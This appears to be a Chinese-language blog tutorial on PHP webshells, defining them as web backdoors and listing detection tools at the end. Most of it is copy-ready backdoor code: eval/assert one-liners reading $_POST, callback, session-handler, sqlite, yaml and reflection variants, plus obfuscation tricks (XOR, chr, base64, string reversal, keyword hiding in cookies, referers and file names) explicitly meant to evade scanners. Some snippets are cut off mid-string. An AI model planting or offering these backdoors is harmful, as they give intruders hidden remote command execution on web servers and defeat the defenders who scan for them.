关于PHP中的webshell
⼀、webshell简介
webshell就是以asp、php、jsp或者cgi等⽹页⽂件形式存在的⼀种命令执⾏环境,也可以将其称做为⼀种⽹页后门。⿊客在⼊侵了⼀个⽹站后,通常会将asp或php后门⽂件与⽹站服务器WEB⽬录下正常的⽹页⽂件混在⼀起,然后就可以使⽤浏览器来访问asp或者php后门,得到⼀个命令执⾏环境,以达到控制⽹站服务器的⽬的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为⼊侵者通过⽹站端⼝对⽹站服务器的某种程度上操作的权限。由于webshell其⼤多是以动态脚本的形式出现,也有⼈称之为⽹站的后门⼯具。
⼆、webshell分类
1、eval
接受⼀个参数,将字符串作为PHP代码执⾏
eval($_POST[1]);
2、assert
⼀般接受⼀个参数,php 5.4.8版本后可以接受两个参数
assert($_REQUEST[l])
3、正则匹配类
preg_replace/ mb_ereg_replace/preg_filter等
4、⽂件包含类
include/include_once/require/require_once/file_get_contents
5、回调函数
call_user_func
call_user_func('assert', $_REQUEST['pass']);
//或者
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
三、webshell变种
assert 和 eval 基本上都被⽤烂了,分分钟就被检查出来了,所以⽹上有很多种变种,可以做后门的函数⼀般包含以下⼏个关键词:1、 callable 2、mixed $options 3、callback 4、handler
下⾯是具体的变种,更具隐蔽性
1、⽆明显回调
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
2、单个参数
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
或者
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
或者
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
只要指定过滤⽅法为回调(FILTER_CALLBACK),且option为assert即可。
3、回调函数
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
或者
<?php
error_reporting(0);
if ($_REQUEST['session'] == 1) {
$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
// open第⼀个被调⽤,类似类的构造函数
function open($save_path, $session_name) {
}
// close最后⼀个被调⽤,类似类的析构函数
function close() {
}
// 得到session id后,等价于执⾏assert($_REQUEST[phpcms])
session_id($_REQUEST[phpcms]);
function write($id, $sess_data) {
}
function destroy($id) {
}
function gc() {
}
// 第三个参数为read read(string $sessionId)
session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
@session_start(); //会话打开的时候,⾃动调⽤回调函数
$cloud = $_SESSION["d"] = "c"; // 这句话没⽤
}
>
4、数组
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
或者
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
或者
$pass= "LandGrey";
array_udiff_assoc(array($_REQUEST[$pass]), array(1), "assert");
或者
$pass= "LandGrey";
$ch = explode(".","hello.");
array_intersect_ukey(array($_REQUEST[$pass] => 1), array(1), $ch[1].$ch[3].$ch[4]);
或者
$_clasc = $_REQUEST['mod'];
$arr = array($_POST['bato'] => '|.*|e',);
@array_walk_recursive($arr, $_clasc, '');
5、把部分信息放在代码以外
⽐如:脚本名称、header 中
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
将脚本命名为scanner.php, 硬编码脚本最后⼀位字符为"r",就不会被平台检测到
或者
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
Cookie: set-domain-name=ass;
或者
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
Referer: http%3a//www.target/ass.php
6、数据库操作与第三⽅库中的回调后门
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
可以注册⼀个sqlite函数,使之与assert功能相同。当执⾏这个sql语句的时候,就等于执⾏了assert
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
上⾯是使⽤php_yaml
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
还有php_memcached
7、反射
<?php
/**
* eva
* l($_POS
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$payload = substr($str,strpos($str,'ev'),3);
$payload .= substr($str,strpos($str,'l('),7);
$payload .= substr($str,strpos($str,'T['),8);
$exe = substr($str, strpos($str, 'as'), 4);
$exe .= substr($str, strpos($str, 'rt'), 2);
$exe($payload);
>
四、隐藏关键词
1、混淆
<?php
//pwd=addimg
$sss = "ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NCcGMzTmxkQ2dnSkY5U1JWRlZSVk5VV3lkd1lYTnpKMTBnS1NsN1FHVjJZV3dvSUdKaGMyVTJORjlrWldOdlpHVW9JQ1JmVWtWUlZVVlRWRnNuY0dGemN5ZGRJQ2tnS1R0OVpXeHpaWHR function CheckSQL( &$val ){
$v = "select|update|union|set|where|order|and|or";
$val = base64_decode( $val );
}
CheckSQL( $sss );
preg_replace('/uploadsafe.inc.php/e','@'.$sss, 'uploadsafe.inc.php');
或者
<?php
$MMIC= $_GET['tid']?$_GET['tid']:$_GET['fid'];
if($MMIC >1000000){
die('404');
}
if (isset($_POST["\x70\x61\x73\x73"]) && isset($_POST["\x63\x68\x65\x63\x6b"]))
{
$__PHP_debug = array (
'ZendName' => '70,61,73,73',
'ZendPort' => '63,68,65,63,6b',
'ZendSalt' => '792e19812fafd57c7ac150af768d95ce'
);
$__PHP_replace = array (
pack('H*', join('', explode(',', $__PHP_debug['ZendName']))),
pack('H*', join('', explode(',', $__PHP_debug['ZendPort']))),
$__PHP_debug['ZendSalt']
);
$__PHP_request = &$_POST;
$__PHP_token = md5($__PHP_request[$__PHP_replace[0]]);
if ($__PHP_token == $__PHP_replace[2])
{
$__PHP_token = preg_replace (
chr(47).$__PHP_token.chr(47).chr(101),
$__PHP_request[$__PHP_replace[1]],
$__PHP_token
);
unset (
$__PHP_debug,
$__PHP_replace,
$__PHP_request,
$__PHP_token
);
if(!defined('_DEBUG_TOKEN')) exit ('Get token fail!');
}
}
2、反引号
<?php
$cmd =base64_decode('dmVy='); // ver
echo `$cmd`. `$_GET[username]`; // ``反引号的作⽤相当于shell_exec,执⾏系统命令
//或
$var = `net user`;
echo "$var";
>
3、XOR
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
>
4、加号
<?php
$num = +"";
$num++; $num++; $num++; $num++;
$four = $num; // 4
$num++; $num++;
$six = $num; // 6
$_="";
$_[+$_]++; // +""为0
$_=$_.""; // $_为字符串"Array"
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.$six.$four.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbY21kXSk="));
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbY21kXSk="));
//ASSERT(eval($_POST[cmd]));
>
5、函数
<?php
$a=@strrev(ecalper_gerp);
$b=@strrev(edoced_46esab);
echo @$a($b(L3h4L2Ug),$_POST[jc],axxa); // /xx/e
>
6、chr
<?php
正则匹配两个字符之间的字符串assert(chr(97).chr(115).chr(115).chr(101).chr(114).chr(116).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(120).chr(93).chr(41)); // chr解出来是assert($_POST[x]),不能替换成eval(chr(97).chr(115) >
7、session_set_save_handler
error_reporting(0);
if ($_REQUEST['session'] == 1) {
$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
// open第⼀个被调⽤,类似类的构造函数
function open($save_path, $session_name) {
}
// close最后⼀个被调⽤,类似类的析构函数
function close() {
}
// 得到session id后,等价于执⾏assert($_REQUEST[phpcms])
session_id($_REQUEST[phpcms]);
function write($id, $sess_data) {
}
function destroy($id) {
}
function gc() {
}
// 第三个参数为read read(string $sessionId)
session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
@session_start(); //会话打开的时候,⾃动调⽤回调函数
$cloud = $_SESSION["d"] = "c"; // 这句话没⽤
}
>
8、引号
<?php
$LMsW="p"."r"."e"."g"."_r"."epl"."a"."ce";
$LMsW("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'eJztfWtzHMeR4GcqQv+hNYa2Z5aDeYEAiQdBEm+QIADiDRDYiZ7unpkmeqZb3T14kNK >
9、加密
这⾥不再介绍了
五、种马之后
由于被⼊侵过,对之前的⽂件有过研究,截⼏张图⼤家看看
基本上就可以为所欲为了
六、检测⼯具
编号名称参考链接
1⽹站安全狗⽹马查杀
2D盾 Web查杀
3深信服WebShellKillerTool
4BugScaner killwebshell
5河马专业版查杀Webshell
6OpenRASPWEBDIR+检测引擎
7深度学习模型检测PHP Webshell
上⾯⼯具⾮常好⽤,95%的基本都能检测出来,知道webshell是什么样的,就可以根据相应的特征出来
参考⽂档
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论